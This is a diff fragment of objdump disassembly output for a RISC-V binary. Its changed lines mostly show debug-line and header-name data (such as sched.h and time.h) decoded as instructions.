+    22ca:	2e74                	fld	fa3,216(a2)
+    22cc:	0068                	addi	a0,sp,12
+    22ce:	0004                	0x4
+    22d0:	5f00                	lw	s0,56(a4)
+    22d2:	73676973          	csrrsi	s2,0x736,14
+    22d6:	7465                	lui	s0,0xffff9
+    22d8:	682e                	flw	fa6,200(sp)
+    22da:	0400                	addi	s0,sp,512
+    22dc:	0000                	unimp
+    22de:	6974                	flw	fa3,84(a0)
+    22e0:	656d                	lui	a0,0x1b
+    22e2:	63657073          	csrci	0x636,10
+    22e6:	682e                	flw	fa6,200(sp)
+    22e8:	0400                	addi	s0,sp,512
+    22ea:	0000                	unimp
+    22ec:	705f 6874 6572      	0x65726874705f
+    22f2:	6461                	lui	s0,0x18
+    22f4:	7974                	flw	fa3,116(a0)
+    22f6:	6570                	flw	fa2,76(a0)
+    22f8:	00682e73          	csrrs	t3,0x6,a6
+    22fc:	0004                	0x4
+    22fe:	7300                	flw	fs0,32(a4)
+    2300:	64656863          	bltu	a0,t1,2950 <__stack_size+0x2150>
+    2304:	682e                	flw	fa6,200(sp)
+    2306:	0400                	addi	s0,sp,512
+    2308:	0000                	unimp
+    230a:	7974                	flw	fa3,116(a0)
+    230c:	6570                	flw	fa2,76(a0)
+    230e:	00682e73          	csrrs	t3,0x6,a6
+    2312:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
+    2316:	6f6c                	flw	fa1,92(a4)
+    2318:	656c6163          	bltu	s8,s6,295a <__stack_size+0x215a>
+    231c:	682e                	flw	fa6,200(sp)
+    231e:	0400                	addi	s0,sp,512
+    2320:	0000                	unimp
+    2322:	69727473          	csrrci	s0,0x697,4
+    2326:	676e                	flw	fa4,216(sp)
+    2328:	00682e73          	csrrs	t3,0x6,a6
+    232c:	0005                	c.nop	1
+    232e:	7300                	flw	fs0,32(a4)
+    2330:	7274                	flw	fa3,100(a2)
+    2332:	6e69                	lui	t3,0x1a
+    2334:	00682e67          	0x682e67
+    2338:	0004                	0x4
+    233a:	7400                	flw	fs0,40(s0)
+    233c:	6d69                	lui	s10,0x1a
+    233e:	2e65                	jal	26f6 <__stack_size+0x1ef6>
+    2340:	0068                	addi	a0,sp,12
+    2342:	0005                	c.nop	1
+    2344:	7400                	flw	fs0,40(s0)
+    2346:	6d69                	lui	s10,0x1a
+    2348:	2e65                	jal	2700 <__stack_size+0x1f00>
+    234a:	0068                	addi	a0,sp,12
+    234c:	70000003          	lb	zero,1792(zero) # 700 <__stack_size-0x100>
+    2350:	616c                	flw	fa1,68(a0)
+    2352:	6674                	flw	fa3,76(a2)
+    2354:	2e6d726f          	jal	tp,d963a <__stack_size+0xd8e3a>
+    2358:	0068                	addi	a0,sp,12
+    235a:	0006                	c.slli	zero,0x1
+    235c:	0000                	unimp
+    235e:	1605                	addi	a2,a2,-31
+    2360:	0500                	addi	s0,sp,640
+    2362:	9802                	jalr	a6
+    2364:	4022                	0x4022
+    2366:	0320                	addi	s0,sp,392
+    2368:	010a                	slli	sp,sp,0x2
+    236a:	0205                	addi	tp,tp,1
+    236c:	00090303          	lb	t1,0(s2) # 18000 <__stack_size+0x17800>
+    2370:	0100                	addi	s0,sp,128
+    2372:	0105                	addi	sp,sp,1
+    2374:	0306                	slli	t1,t1,0x1
+    2376:	0901                	addi	s2,s2,0
+    2378:	0000                	unimp
+    237a:	0901                	addi	s2,s2,0
+    237c:	0004                	0x4
     237e:	0100                	addi	s0,sp,128
-    2380:	4005                	c.li	zero,1
-    2382:	0200                	addi	s0,sp,256
-    2384:	0304                	addi	s1,sp,384
-    2386:	0306                	slli	t1,t1,0x1
-    2388:	0900                	addi	s0,sp,144
-    238a:	0000                	unimp
-    238c:	0501                	addi	a0,a0,0
-    238e:	004c                	addi	a1,sp,4
-    2390:	0402                	c.slli64	s0
-    2392:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    2396:	0004                	0x4
-    2398:	0501                	addi	a0,a0,0
-    239a:	0040                	addi	s0,sp,4
-    239c:	0402                	c.slli64	s0
-    239e:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    23a2:	0002                	c.slli64	zero
-    23a4:	0501                	addi	a0,a0,0
-    23a6:	0402002f          	0x402002f
-    23aa:	00030603          	lb	a2,0(t1)
-    23ae:	0409                	addi	s0,s0,2
-    23b0:	0100                	addi	s0,sp,128
-    23b2:	0a05                	addi	s4,s4,1
-    23b4:	02090803          	lb	a6,32(s2)
-    23b8:	0100                	addi	s0,sp,128
-    23ba:	0d05                	addi	s10,s10,1
-    23bc:	0306                	slli	t1,t1,0x1
-    23be:	0900                	addi	s0,sp,144
-    23c0:	0000                	unimp
-    23c2:	0501                	addi	a0,a0,0
-    23c4:	0604                	addi	s1,sp,768
-    23c6:	06090103          	lb	sp,96(s2)
-    23ca:	0100                	addi	s0,sp,128
-    23cc:	0505                	addi	a0,a0,1
-    23ce:	0306                	slli	t1,t1,0x1
-    23d0:	0900                	addi	s0,sp,144
-    23d2:	0000                	unimp
-    23d4:	0501                	addi	a0,a0,0
-    23d6:	0609                	addi	a2,a2,2
-    23d8:	04090003          	lb	zero,64(s2)
-    23dc:	0100                	addi	s0,sp,128
-    23de:	0c05                	addi	s8,s8,1
-    23e0:	0306                	slli	t1,t1,0x1
-    23e2:	0900                	addi	s0,sp,144
-    23e4:	0000                	unimp
-    23e6:	0501                	addi	a0,a0,0
-    23e8:	0610                	addi	a2,sp,768
-    23ea:	04090003          	lb	zero,64(s2)
-    23ee:	0100                	addi	s0,sp,128
-    23f0:	0405                	addi	s0,s0,1
-    23f2:	00090203          	lb	tp,0(s2)
-    23f6:	0100                	addi	s0,sp,128
-    23f8:	1505                	addi	a0,a0,-31
-    23fa:	0306                	slli	t1,t1,0x1
-    23fc:	0900                	addi	s0,sp,144
-    23fe:	0000                	unimp
-    2400:	0501                	addi	a0,a0,0
-    2402:	030a                	slli	t1,t1,0x2
-    2404:	0900                	addi	s0,sp,144
-    2406:	0004                	0x4
-    2408:	0001                	nop
-    240a:	0402                	c.slli64	s0
-    240c:	0601                	addi	a2,a2,0
-    240e:	04090003          	lb	zero,64(s2)
-    2412:	0100                	addi	s0,sp,128
-    2414:	1505                	addi	a0,a0,-31
-    2416:	0200                	addi	s0,sp,256
-    2418:	0104                	addi	s1,sp,128
-    241a:	0306                	slli	t1,t1,0x1
-    241c:	0900                	addi	s0,sp,144
-    241e:	0000                	unimp
-    2420:	0501                	addi	a0,a0,0
-    2422:	0014                	0x14
-    2424:	0402                	c.slli64	s0
-    2426:	0301                	addi	t1,t1,0
-    2428:	0900                	addi	s0,sp,144
-    242a:	0008                	0x8
-    242c:	0501                	addi	a0,a0,0
-    242e:	000a                	c.slli	zero,0x2
-    2430:	0402                	c.slli64	s0
-    2432:	0301                	addi	t1,t1,0
-    2434:	0900                	addi	s0,sp,144
-    2436:	0002                	c.slli64	zero
-    2438:	0301                	addi	t1,t1,0
-    243a:	0901                	addi	s2,s2,0
-    243c:	0008                	0x8
-    243e:	0501                	addi	a0,a0,0
-    2440:	0332                	slli	t1,t1,0xc
-    2442:	0900                	addi	s0,sp,144
-    2444:	0004                	0x4
-    2446:	0501                	addi	a0,a0,0
-    2448:	000a                	c.slli	zero,0x2
-    244a:	0402                	c.slli64	s0
-    244c:	0604                	addi	s1,sp,768
-    244e:	04090003          	lb	zero,64(s2)
-    2452:	0100                	addi	s0,sp,128
-    2454:	2705                	jal	2b74 <__stack_size+0x2374>
-    2456:	0306                	slli	t1,t1,0x1
-    2458:	0900                	addi	s0,sp,144
-    245a:	000c                	0xc
-    245c:	0501                	addi	a0,a0,0
-    245e:	0030                	addi	a2,sp,8
-    2460:	0402                	c.slli64	s0
-    2462:	0602                	c.slli64	a2
-    2464:	04097f03          	0x4097f03
-    2468:	0100                	addi	s0,sp,128
-    246a:	3a05                	jal	1d9a <__stack_size+0x159a>
-    246c:	0200                	addi	s0,sp,256
-    246e:	0204                	addi	s1,sp,256
-    2470:	0306                	slli	t1,t1,0x1
-    2472:	0900                	addi	s0,sp,144
-    2474:	0000                	unimp
-    2476:	0501                	addi	a0,a0,0
-    2478:	004e                	c.slli	zero,0x13
-    247a:	0402                	c.slli64	s0
-    247c:	0302                	c.slli64	t1
-    247e:	0900                	addi	s0,sp,144
-    2480:	0006                	c.slli	zero,0x1
-    2482:	0501                	addi	a0,a0,0
-    2484:	004a                	c.slli	zero,0x12
-    2486:	0402                	c.slli64	s0
-    2488:	01030603          	lb	a2,16(t1)
-    248c:	0809                	addi	a6,a6,2
-    248e:	0100                	addi	s0,sp,128
-    2490:	5605                	li	a2,-31
-    2492:	0200                	addi	s0,sp,256
-    2494:	0304                	addi	s1,sp,384
-    2496:	0306                	slli	t1,t1,0x1
-    2498:	0900                	addi	s0,sp,144
-    249a:	0000                	unimp
-    249c:	0501                	addi	a0,a0,0
-    249e:	0062                	c.slli	zero,0x18
-    24a0:	0402                	c.slli64	s0
-    24a2:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    24a6:	0004                	0x4
-    24a8:	0501                	addi	a0,a0,0
-    24aa:	0056                	c.slli	zero,0x15
-    24ac:	0402                	c.slli64	s0
-    24ae:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    24b2:	0002                	c.slli64	zero
-    24b4:	0501                	addi	a0,a0,0
-    24b6:	0045                	c.nop	17
-    24b8:	0402                	c.slli64	s0
-    24ba:	00030603          	lb	a2,0(t1)
-    24be:	0409                	addi	s0,s0,2
-    24c0:	0100                	addi	s0,sp,128
-    24c2:	2e05                	jal	27f2 <__stack_size+0x1ff2>
-    24c4:	0200                	addi	s0,sp,256
-    24c6:	0104                	addi	s1,sp,128
-    24c8:	00090003          	lb	zero,0(s2)
+    2380:	0501                	addi	a0,a0,0
+    2382:	02050027          	0x2050027
+    2386:	229c                	fld	fa5,0(a3)
+    2388:	2040                	fld	fs0,128(s0)
+    238a:	05011103          	lh	sp,80(sp)
+    238e:	0302                	c.slli64	t1
+    2390:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2394:	0501                	addi	a0,a0,0
+    2396:	060e                	slli	a2,a2,0x3
+    2398:	00090003          	lb	zero,0(s2)
+    239c:	0100                	addi	s0,sp,128
+    239e:	0205                	addi	tp,tp,1
+    23a0:	0306                	slli	t1,t1,0x1
+    23a2:	0901                	addi	s2,s2,0
+    23a4:	0004                	0x4
+    23a6:	0501                	addi	a0,a0,0
+    23a8:	0601                	addi	a2,a2,0
+    23aa:	00090103          	lb	sp,0(s2)
+    23ae:	0100                	addi	s0,sp,128
+    23b0:	0409                	addi	s0,s0,2
+    23b2:	0000                	unimp
+    23b4:	0101                	addi	sp,sp,0
+    23b6:	1805                	addi	a6,a6,-31
+    23b8:	0500                	addi	s0,sp,640
+    23ba:	a402                	fsd	ft0,8(sp)
+    23bc:	4022                	0x4022
+    23be:	0320                	addi	s0,sp,392
+    23c0:	0119                	addi	sp,sp,6
+    23c2:	0205                	addi	tp,tp,1
+    23c4:	00090303          	lb	t1,0(s2)
+    23c8:	0100                	addi	s0,sp,128
+    23ca:	00090103          	lb	sp,0(s2)
+    23ce:	0100                	addi	s0,sp,128
+    23d0:	00090103          	lb	sp,0(s2)
+    23d4:	0100                	addi	s0,sp,128
+    23d6:	00090203          	lb	tp,0(s2)
+    23da:	0100                	addi	s0,sp,128
+    23dc:	1105                	addi	sp,sp,-31
+    23de:	0306                	slli	t1,t1,0x1
+    23e0:	0900                	addi	s0,sp,144
+    23e2:	0000                	unimp
+    23e4:	0501                	addi	a0,a0,0
+    23e6:	0318                	addi	a4,sp,384
+    23e8:	0979                	addi	s2,s2,30
+    23ea:	0004                	0x4
+    23ec:	0501                	addi	a0,a0,0
+    23ee:	0311                	addi	t1,t1,4
+    23f0:	00020907          	0x20907
+    23f4:	0501                	addi	a0,a0,0
+    23f6:	0305                	addi	t1,t1,1
+    23f8:	0900                	addi	s0,sp,144
+    23fa:	0002                	c.slli64	zero
+    23fc:	0501                	addi	a0,a0,0
+    23fe:	0311                	addi	t1,t1,4
+    2400:	0900                	addi	s0,sp,144
+    2402:	0004                	0x4
+    2404:	0501                	addi	a0,a0,0
+    2406:	0305                	addi	t1,t1,1
+    2408:	0900                	addi	s0,sp,144
+    240a:	0002                	c.slli64	zero
+    240c:	0501                	addi	a0,a0,0
+    240e:	0020                	addi	s0,sp,8
+    2410:	0402                	c.slli64	s0
+    2412:	0301                	addi	t1,t1,0
+    2414:	0900                	addi	s0,sp,144
+    2416:	0004                	0x4
+    2418:	0501                	addi	a0,a0,0
+    241a:	0602                	c.slli64	a2
+    241c:	08090303          	lb	t1,128(s2)
+    2420:	0100                	addi	s0,sp,128
+    2422:	0c05                	addi	s8,s8,1
+    2424:	0306                	slli	t1,t1,0x1
+    2426:	0900                	addi	s0,sp,144
+    2428:	0000                	unimp
+    242a:	0501                	addi	a0,a0,0
+    242c:	0602                	c.slli64	a2
+    242e:	02090103          	lb	sp,32(s2)
+    2432:	0100                	addi	s0,sp,128
+    2434:	1305                	addi	t1,t1,-31
+    2436:	0306                	slli	t1,t1,0x1
+    2438:	0900                	addi	s0,sp,144
+    243a:	0000                	unimp
+    243c:	0501                	addi	a0,a0,0
+    243e:	097d030b          	0x97d030b
+    2442:	0002                	c.slli64	zero
+    2444:	0501                	addi	a0,a0,0
+    2446:	0301                	addi	t1,t1,0
+    2448:	0904                	addi	s1,sp,144
+    244a:	0002                	c.slli64	zero
+    244c:	0901                	addi	s2,s2,0
+    244e:	0002                	c.slli64	zero
+    2450:	0100                	addi	s0,sp,128
+    2452:	0501                	addi	a0,a0,0
+    2454:	02050017          	auipc	zero,0x2050
+    2458:	22c6                	fld	ft5,80(sp)
+    245a:	2040                	fld	fs0,128(s0)
+    245c:	05012803          	lw	a6,80(sp)
+    2460:	0302                	c.slli64	t1
+    2462:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2466:	0501                	addi	a0,a0,0
+    2468:	0601                	addi	a2,a2,0
+    246a:	00090203          	lb	tp,0(s2)
+    246e:	0100                	addi	s0,sp,128
+    2470:	0609                	addi	a2,a2,2
+    2472:	0000                	unimp
+    2474:	0101                	addi	sp,sp,0
+    2476:	2a05                	jal	25a6 <__stack_size+0x1da6>
+    2478:	0500                	addi	s0,sp,640
+    247a:	cc02                	sw	zero,24(sp)
+    247c:	4022                	0x4022
+    247e:	0320                	addi	s0,sp,392
+    2480:	0130                	addi	a2,sp,136
+    2482:	0205                	addi	tp,tp,1
+    2484:	00090303          	lb	t1,0(s2)
+    2488:	0100                	addi	s0,sp,128
+    248a:	0105                	addi	sp,sp,1
+    248c:	0306                	slli	t1,t1,0x1
+    248e:	0901                	addi	s2,s2,0
+    2490:	0000                	unimp
+    2492:	0901                	addi	s2,s2,0
+    2494:	0004                	0x4
+    2496:	0100                	addi	s0,sp,128
+    2498:	0501                	addi	a0,a0,0
+    249a:	0032                	c.slli	zero,0xc
+    249c:	0205                	addi	tp,tp,1
+    249e:	22d0                	fld	fa2,128(a3)
+    24a0:	2040                	fld	fs0,128(s0)
+    24a2:	05013703          	0x5013703
+    24a6:	0302                	c.slli64	t1
+    24a8:	0904                	addi	s1,sp,144
+    24aa:	0000                	unimp
+    24ac:	0501                	addi	a0,a0,0
+    24ae:	0632                	slli	a2,a2,0xc
+    24b0:	00097c03          	0x97c03
+    24b4:	0100                	addi	s0,sp,128
+    24b6:	0605                	addi	a2,a2,1
+    24b8:	02090403          	lb	s0,32(s2)
+    24bc:	0100                	addi	s0,sp,128
+    24be:	3205                	jal	1dde <__stack_size+0x15de>
+    24c0:	08097c03          	0x8097c03
+    24c4:	0100                	addi	s0,sp,128
+    24c6:	0605                	addi	a2,a2,1
+    24c8:	02090403          	lb	s0,32(s2)
     24cc:	0100                	addi	s0,sp,128
-    24ce:	3205                	jal	1dee <__stack_size+0x15ee>
-    24d0:	0200                	addi	s0,sp,256
-    24d2:	0104                	addi	s1,sp,128
-    24d4:	0306                	slli	t1,t1,0x1
-    24d6:	0900                	addi	s0,sp,144
-    24d8:	0000                	unimp
-    24da:	0501                	addi	a0,a0,0
-    24dc:	001e                	c.slli	zero,0x7
-    24de:	0402                	c.slli64	s0
-    24e0:	0301                	addi	t1,t1,0
-    24e2:	0900                	addi	s0,sp,144
-    24e4:	0006                	c.slli	zero,0x1
-    24e6:	0501                	addi	a0,a0,0
-    24e8:	0604                	addi	s1,sp,768
-    24ea:	08090203          	lb	tp,128(s2)
-    24ee:	0100                	addi	s0,sp,128
-    24f0:	0805                	addi	a6,a6,1
-    24f2:	0306                	slli	t1,t1,0x1
-    24f4:	0900                	addi	s0,sp,144
-    24f6:	0000                	unimp
-    24f8:	0501                	addi	a0,a0,0
-    24fa:	09000307          	0x9000307
-    24fe:	0008                	0x8
-    2500:	0501                	addi	a0,a0,0
-    2502:	001f 0402 0301      	0x3010402001f
-    2508:	0900                	addi	s0,sp,144
-    250a:	0002                	c.slli64	zero
-    250c:	0501                	addi	a0,a0,0
-    250e:	001c                	0x1c
-    2510:	0402                	c.slli64	s0
-    2512:	0301                	addi	t1,t1,0
-    2514:	0900                	addi	s0,sp,144
-    2516:	000e                	c.slli	zero,0x3
-    2518:	0501                	addi	a0,a0,0
-    251a:	04020023          	sb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    251e:	01030603          	lb	a2,16(t1)
-    2522:	0609                	addi	a2,a2,2
-    2524:	0100                	addi	s0,sp,128
-    2526:	3105                	jal	2146 <__stack_size+0x1946>
-    2528:	0200                	addi	s0,sp,256
-    252a:	0304                	addi	s1,sp,384
-    252c:	0306                	slli	t1,t1,0x1
-    252e:	0900                	addi	s0,sp,144
-    2530:	0000                	unimp
-    2532:	0501                	addi	a0,a0,0
-    2534:	04020023          	sb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    2538:	09000303          	lb	t1,144(zero) # 90 <__stack_size-0x770>
-    253c:	0006                	c.slli	zero,0x1
-    253e:	0501                	addi	a0,a0,0
-    2540:	001e                	c.slli	zero,0x7
-    2542:	0402                	c.slli64	s0
-    2544:	00030603          	lb	a2,0(t1)
-    2548:	0609                	addi	a2,a2,2
-    254a:	0100                	addi	s0,sp,128
-    254c:	1705                	addi	a4,a4,-31
-    254e:	0200                	addi	s0,sp,256
-    2550:	0304                	addi	s1,sp,384
-    2552:	00090003          	lb	zero,0(s2)
-    2556:	0100                	addi	s0,sp,128
-    2558:	0505                	addi	a0,a0,1
-    255a:	0200                	addi	s0,sp,256
-    255c:	0304                	addi	s1,sp,384
-    255e:	0306                	slli	t1,t1,0x1
-    2560:	0900                	addi	s0,sp,144
-    2562:	0000                	unimp
-    2564:	0601                	addi	a2,a2,0
-    2566:	04090103          	lb	sp,64(s2)
-    256a:	0100                	addi	s0,sp,128
-    256c:	0605                	addi	a2,a2,1
-    256e:	0c090103          	lb	sp,192(s2)
-    2572:	0100                	addi	s0,sp,128
-    2574:	0805                	addi	a6,a6,1
-    2576:	0306                	slli	t1,t1,0x1
-    2578:	0900                	addi	s0,sp,144
-    257a:	0000                	unimp
-    257c:	0501                	addi	a0,a0,0
-    257e:	0304                	addi	s1,sp,384
-    2580:	0901                	addi	s2,s2,0
-    2582:	0002                	c.slli64	zero
-    2584:	0501                	addi	a0,a0,0
-    2586:	0308                	addi	a0,sp,384
-    2588:	097f                	0x97f
-    258a:	000c                	0xc
-    258c:	0501                	addi	a0,a0,0
-    258e:	0604                	addi	s1,sp,768
-    2590:	08090103          	lb	sp,128(s2)
-    2594:	0100                	addi	s0,sp,128
-    2596:	0805                	addi	a6,a6,1
-    2598:	097fa703          	lw	a4,151(t6) # fffed097 <_heap_end+0x7ffde897>
-    259c:	0004                	0x4
-    259e:	0501                	addi	a0,a0,0
-    25a0:	0614                	addi	a3,sp,768
-    25a2:	0900d003          	lhu	zero,144(ra)
-    25a6:	0000                	unimp
-    25a8:	0501                	addi	a0,a0,0
-    25aa:	0301                	addi	t1,t1,0
-    25ac:	0912                	slli	s2,s2,0x4
-    25ae:	0002                	c.slli64	zero
-    25b0:	0501                	addi	a0,a0,0
-    25b2:	060a                	slli	a2,a2,0x2
-    25b4:	097fae03          	lw	t3,151(t6)
-    25b8:	0016                	c.slli	zero,0x5
-    25ba:	0501                	addi	a0,a0,0
-    25bc:	060d                	addi	a2,a2,3
-    25be:	00090003          	lb	zero,0(s2)
-    25c2:	0100                	addi	s0,sp,128
-    25c4:	0a05                	addi	s4,s4,1
-    25c6:	0306                	slli	t1,t1,0x1
-    25c8:	092d                	addi	s2,s2,11
-    25ca:	0006                	c.slli	zero,0x1
-    25cc:	0501                	addi	a0,a0,0
-    25ce:	060d                	addi	a2,a2,3
-    25d0:	00090003          	lb	zero,0(s2)
-    25d4:	0100                	addi	s0,sp,128
-    25d6:	1705                	addi	a4,a4,-31
-    25d8:	0200                	addi	s0,sp,256
-    25da:	0204                	addi	s1,sp,256
-    25dc:	06090003          	lb	zero,96(s2)
-    25e0:	0100                	addi	s0,sp,128
-    25e2:	2905                	jal	2a12 <__stack_size+0x2212>
-    25e4:	0200                	addi	s0,sp,256
-    25e6:	0304                	addi	s1,sp,384
-    25e8:	08090003          	lb	zero,128(s2)
-    25ec:	0100                	addi	s0,sp,128
-    25ee:	2505                	jal	2c0e <__stack_size+0x240e>
-    25f0:	0200                	addi	s0,sp,256
-    25f2:	0304                	addi	s1,sp,384
-    25f4:	04090003          	lb	zero,64(s2)
-    25f8:	0100                	addi	s0,sp,128
-    25fa:	2c05                	jal	282a <__stack_size+0x202a>
-    25fc:	0200                	addi	s0,sp,256
-    25fe:	0404                	addi	s1,sp,512
-    2600:	04090003          	lb	zero,64(s2)
-    2604:	0100                	addi	s0,sp,128
-    2606:	0405                	addi	s0,s0,1
-    2608:	0306                	slli	t1,t1,0x1
-    260a:	0901                	addi	s2,s2,0
-    260c:	0004                	0x4
-    260e:	0501                	addi	a0,a0,0
-    2610:	0605                	addi	a2,a2,1
-    2612:	00090003          	lb	zero,0(s2)
+    24ce:	0505                	addi	a0,a0,1
+    24d0:	02090003          	lb	zero,32(s2)
+    24d4:	0100                	addi	s0,sp,128
+    24d6:	0305                	addi	t1,t1,1
+    24d8:	0306                	slli	t1,t1,0x1
+    24da:	0902                	c.slli64	s2
+    24dc:	0002                	c.slli64	zero
+    24de:	0501                	addi	a0,a0,0
+    24e0:	0616                	slli	a2,a2,0x5
+    24e2:	00090003          	lb	zero,0(s2)
+    24e6:	0100                	addi	s0,sp,128
+    24e8:	0305                	addi	t1,t1,1
+    24ea:	0306                	slli	t1,t1,0x1
+    24ec:	0901                	addi	s2,s2,0
+    24ee:	000a                	c.slli	zero,0x2
+    24f0:	0501                	addi	a0,a0,0
+    24f2:	0619                	addi	a2,a2,6
+    24f4:	00090003          	lb	zero,0(s2)
+    24f8:	0100                	addi	s0,sp,128
+    24fa:	0305                	addi	t1,t1,1
+    24fc:	0306                	slli	t1,t1,0x1
+    24fe:	0901                	addi	s2,s2,0
+    2500:	0004                	0x4
+    2502:	0501                	addi	a0,a0,0
+    2504:	0619                	addi	a2,a2,6
+    2506:	00090003          	lb	zero,0(s2)
+    250a:	0100                	addi	s0,sp,128
+    250c:	0605                	addi	a2,a2,1
+    250e:	0306                	slli	t1,t1,0x1
+    2510:	0901                	addi	s2,s2,0
+    2512:	0002                	c.slli64	zero
+    2514:	0501                	addi	a0,a0,0
+    2516:	061c                	addi	a5,sp,768
+    2518:	00090003          	lb	zero,0(s2)
+    251c:	0100                	addi	s0,sp,128
+    251e:	0305                	addi	t1,t1,1
+    2520:	0306                	slli	t1,t1,0x1
+    2522:	0902                	c.slli64	s2
+    2524:	0004                	0x4
+    2526:	0501                	addi	a0,a0,0
+    2528:	0601                	addi	a2,a2,0
+    252a:	00090503          	lb	a0,0(s2)
+    252e:	0100                	addi	s0,sp,128
+    2530:	0905                	addi	s2,s2,1
+    2532:	06097f03          	0x6097f03
+    2536:	0100                	addi	s0,sp,128
+    2538:	0409                	addi	s0,s0,2
+    253a:	0000                	unimp
+    253c:	0101                	addi	sp,sp,0
+    253e:	2c05                	jal	276e <__stack_size+0x1f6e>
+    2540:	0500                	addi	s0,sp,640
+    2542:	fe02                	fsw	ft0,60(sp)
+    2544:	4022                	0x4022
+    2546:	0320                	addi	s0,sp,392
+    2548:	00ca                	slli	ra,ra,0x12
+    254a:	0501                	addi	a0,a0,0
+    254c:	0302                	c.slli64	t1
+    254e:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    2552:	0501                	addi	a0,a0,0
+    2554:	062c                	addi	a1,sp,776
+    2556:	00097d03          	0x97d03
+    255a:	0100                	addi	s0,sp,128
+    255c:	08090003          	lb	zero,128(s2)
+    2560:	0100                	addi	s0,sp,128
+    2562:	0605                	addi	a2,a2,1
+    2564:	04090303          	lb	t1,64(s2)
+    2568:	0100                	addi	s0,sp,128
+    256a:	0505                	addi	a0,a0,1
+    256c:	02090003          	lb	zero,32(s2)
+    2570:	0100                	addi	s0,sp,128
+    2572:	0b05                	addi	s6,s6,1
+    2574:	02090203          	lb	tp,32(s2)
+    2578:	0100                	addi	s0,sp,128
+    257a:	2205                	jal	269a <__stack_size+0x1e9a>
+    257c:	02090303          	lb	t1,32(s2)
+    2580:	0100                	addi	s0,sp,128
+    2582:	0805                	addi	a6,a6,1
+    2584:	0306                	slli	t1,t1,0x1
+    2586:	0900                	addi	s0,sp,144
+    2588:	0004                	0x4
+    258a:	0501                	addi	a0,a0,0
+    258c:	0022                	c.slli	zero,0x8
+    258e:	0402                	c.slli64	s0
+    2590:	0601                	addi	a2,a2,0
+    2592:	04090003          	lb	zero,64(s2)
+    2596:	0100                	addi	s0,sp,128
+    2598:	1405                	addi	s0,s0,-31
+    259a:	0200                	addi	s0,sp,256
+    259c:	0104                	addi	s1,sp,128
+    259e:	02090003          	lb	zero,32(s2)
+    25a2:	0100                	addi	s0,sp,128
+    25a4:	0105                	addi	sp,sp,1
+    25a6:	04090903          	lb	s2,64(s2)
+    25aa:	0100                	addi	s0,sp,128
+    25ac:	0405                	addi	s0,s0,1
+    25ae:	0306                	slli	t1,t1,0x1
+    25b0:	0978                	addi	a4,sp,156
+    25b2:	000a                	c.slli	zero,0x2
+    25b4:	0501                	addi	a0,a0,0
+    25b6:	0003060b          	0x3060b
+    25ba:	0009                	c.nop	2
+    25bc:	0100                	addi	s0,sp,128
+    25be:	0d05                	addi	s10,s10,1
+    25c0:	04090003          	lb	zero,64(s2)
+    25c4:	0100                	addi	s0,sp,128
+    25c6:	0405                	addi	s0,s0,1
+    25c8:	0306                	slli	t1,t1,0x1
+    25ca:	0901                	addi	s2,s2,0
+    25cc:	0004                	0x4
+    25ce:	0501                	addi	a0,a0,0
+    25d0:	0609                	addi	a2,a2,2
+    25d2:	00090003          	lb	zero,0(s2)
+    25d6:	0100                	addi	s0,sp,128
+    25d8:	04090603          	lb	a2,64(s2)
+    25dc:	0100                	addi	s0,sp,128
+    25de:	0409                	addi	s0,s0,2
+    25e0:	0000                	unimp
+    25e2:	0101                	addi	sp,sp,0
+    25e4:	3605                	jal	2104 <__stack_size+0x1904>
+    25e6:	0500                	addi	s0,sp,640
+    25e8:	3802                	fld	fa6,32(sp)
+    25ea:	03204023          	0x3204023
+    25ee:	00de                	slli	ra,ra,0x17
+    25f0:	0501                	addi	a0,a0,0
+    25f2:	0302                	c.slli64	t1
+    25f4:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    25f8:	0501                	addi	a0,a0,0
+    25fa:	0636                	slli	a2,a2,0xd
+    25fc:	00097d03          	0x97d03
+    2600:	0100                	addi	s0,sp,128
+    2602:	08090003          	lb	zero,128(s2)
+    2606:	0100                	addi	s0,sp,128
+    2608:	0605                	addi	a2,a2,1
+    260a:	04090303          	lb	t1,64(s2)
+    260e:	0100                	addi	s0,sp,128
+    2610:	0505                	addi	a0,a0,1
+    2612:	02090003          	lb	zero,32(s2)
     2616:	0100                	addi	s0,sp,128
-    2618:	0405                	addi	s0,s0,1
-    261a:	0306                	slli	t1,t1,0x1
-    261c:	0901                	addi	s2,s2,0
-    261e:	0008                	0x8
-    2620:	0501                	addi	a0,a0,0
-    2622:	0309                	addi	t1,t1,2
-    2624:	0900                	addi	s0,sp,144
-    2626:	0000                	unimp
-    2628:	0501                	addi	a0,a0,0
-    262a:	0012                	c.slli	zero,0x4
-    262c:	0402                	c.slli64	s0
-    262e:	0301                	addi	t1,t1,0
-    2630:	0900                	addi	s0,sp,144
-    2632:	0002                	c.slli64	zero
-    2634:	0501                	addi	a0,a0,0
-    2636:	0014                	0x14
-    2638:	0402                	c.slli64	s0
-    263a:	0601                	addi	a2,a2,0
-    263c:	00090003          	lb	zero,0(s2)
-    2640:	0100                	addi	s0,sp,128
-    2642:	0405                	addi	s0,s0,1
-    2644:	0200                	addi	s0,sp,256
-    2646:	0104                	addi	s1,sp,128
-    2648:	06090003          	lb	zero,96(s2)
-    264c:	0100                	addi	s0,sp,128
-    264e:	0306                	slli	t1,t1,0x1
-    2650:	0901                	addi	s2,s2,0
-    2652:	0004                	0x4
-    2654:	0301                	addi	t1,t1,0
-    2656:	0901                	addi	s2,s2,0
-    2658:	0010                	0x10
-    265a:	0301                	addi	t1,t1,0
-    265c:	0901                	addi	s2,s2,0
-    265e:	0010                	0x10
-    2660:	0301                	addi	t1,t1,0
-    2662:	0901                	addi	s2,s2,0
-    2664:	0010                	0x10
-    2666:	0501                	addi	a0,a0,0
-    2668:	060d                	addi	a2,a2,3
-    266a:	00090003          	lb	zero,0(s2)
-    266e:	0100                	addi	s0,sp,128
-    2670:	1c05                	addi	s8,s8,-31
-    2672:	02090003          	lb	zero,32(s2)
+    2618:	0b05                	addi	s6,s6,1
+    261a:	08090603          	lb	a2,128(s2)
